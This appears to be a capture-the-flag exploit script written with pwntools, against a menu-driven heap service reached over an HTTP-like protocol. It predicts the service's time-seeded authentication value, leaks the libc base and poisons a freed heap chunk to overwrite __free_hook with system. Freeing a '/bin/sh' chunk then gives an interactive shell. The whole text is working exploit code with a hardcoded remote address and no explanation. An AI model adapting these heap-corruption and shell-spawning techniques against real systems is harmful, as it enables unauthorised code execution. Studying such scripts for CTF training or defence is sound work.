1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import * from ctypes import * binary = "./pwn" elf = ELF(binary) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") ip = '1.14.71.254' port = 28834 local = 1 if local: io = process(binary) else: io = remote(ip, port)
context.log_level = "debug"
def debug(): gdb.attach(io) pause()
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data))) ia = lambda : io.interactive() _flags = 0xfbad1800
def add(idx, size, con = b'a'): sa(b'>', b'POST / HTTP/1.1\r\n' + p8(1) + b'&' + str(idx).encode() + b'&' + str(size).encode() + b'&' + con)
def show(idx): sla(b'>', b'POST / HTTP/1.1\r\n' + p8(3) + b'&' + str(idx).encode())
def delete(idx): sla(b'>', b'POST / HTTP/1.1\r\n' + p8(4) + b'&' + str(idx).encode())
def edit(idx, con): sa(b'>', b'POST / HTTP/1.1\r\n' + p8(2) + b'&' + str(idx).encode() + b'&' + con)
libc.srand(libc.time(0)) result = libc.rand()
sla(b'>', b'DEV / HTTP/1.1\r\n' + p32(result) + b'auth') sleep(1) add(0, 0x30) sleep(1) show(0) sleep(1) libcbase = uu64() - 0x1ecb61 free_hook = libcbase + 0x1eee48
sys_addr = libcbase + 0x52290 lg('libcbase')
add(1, 0x30) sleep(1) add(2, 0x30) sleep(1) delete(2) sleep(1) delete(1) sleep(1) edit(0, b'a' * 0x20 + p64(free_hook)) sleep(1) add(2, 0x30, b'/bin/sh\x00') sleep(1) add(3, 0x30, p64(sys_addr)) sleep(1) delete(2) ia()
|